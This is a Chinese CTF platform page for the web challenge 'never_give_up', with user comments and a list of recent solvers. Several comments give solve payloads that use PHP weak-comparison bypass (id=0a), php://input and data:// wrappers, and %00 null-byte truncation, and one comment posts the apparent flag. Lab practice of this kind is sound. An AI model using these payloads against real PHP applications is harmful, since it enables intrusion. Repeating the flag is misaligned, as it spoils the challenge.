never_give_upWEB 未解决

分数: 25 金币: 3
题目作者: 未知
一  血: blue
一血奖励: 1金币
解  决: 3658
提  示:
描  述:
作者:御结冰城
评论
1969901506 4天前

五边形战士

回复 1

coldplay99999 1月前

flag{bb25f9ec286ae9753bb12e5631da7f1e}

回复 0

26ww 1月前

66

回复 0

不会写代码的菜鸟 5月前

难点1.源代码里1.html文件查看跳转bugku导致1.html的源码不容易被捕获,我看了wp用bp抓了n次才抓到。我这种菜鸟根本想不到view resouce。2.抓到源码后的解码要先url解码再base再url才能解出来代码;我擦这一步我不看也做不到。3.这步最难,代码审计,发现id=0,用弱比较,id=0a;a的值来自data直接协议data://text/plain,bugku is a

回复 0
Jiafeng 5天前

第一步一开始的思路真的很重要。反而感觉后面的代码审计不是难点了;

回复 0

loulegedadong 6月前

hello.php?id=0sdvdsd&a=php://input&b=.sdfasdfsdafsdfrdfgsdgasdftgssd postdata:bugku is a nice plateform!

回复 0

不懂就问 9月前

参考学习:https://blog.csdn.net/qq_36292543/article/details/136676985

回复 0

一路奔腾 11月前

POST /hello.php?id=0a&a=php://input&b=*asdfassdf 内容为:bugku is a nice plateform!

回复 0

xawm 12月前

?id=0p&b=%00114514&a=data://text/plain,bugku is a nice plateform! //id弱匹配绕过,b使用%00截断符截断语句让111在1114中且开头的字符不是4,a运用伪协议

回复 0

miaolegecui 1年前

firfox浏览器的post不能只传值,所以用php://post的方式传值点execute没反应,试试用其他方式a=data://text/plain,bugku is a nice plateform!

回复 2

1.23 1年前

flag{我就知道有人投机取巧}

回复 3

WriteUp

image
harry

3 金币

评分(20)

解题动态

qinghai2024 攻破了该题 4小时前
19581700609 攻破了该题 3天前
montarius 攻破了该题 5天前
unilot 攻破了该题 5天前
Jiafeng 攻破了该题 5天前
hgf15823954335 攻破了该题 6天前
fxstu 攻破了该题 6天前
oohyodec 攻破了该题 7天前
fuchen11 攻破了该题 7天前
她说我们只是朋友 攻破了该题 10天前
buggy 攻破了该题 10天前
hahaguacho 攻破了该题 10天前
szmlzw120 攻破了该题 11天前
Lysr333 攻破了该题 11天前
chaojiikun 攻破了该题 12天前
ifnoif 攻破了该题 13天前
kale 攻破了该题 13天前
17881152308 攻破了该题 13天前
lionli227 攻破了该题 14天前
5013230204 攻破了该题 14天前
问题反馈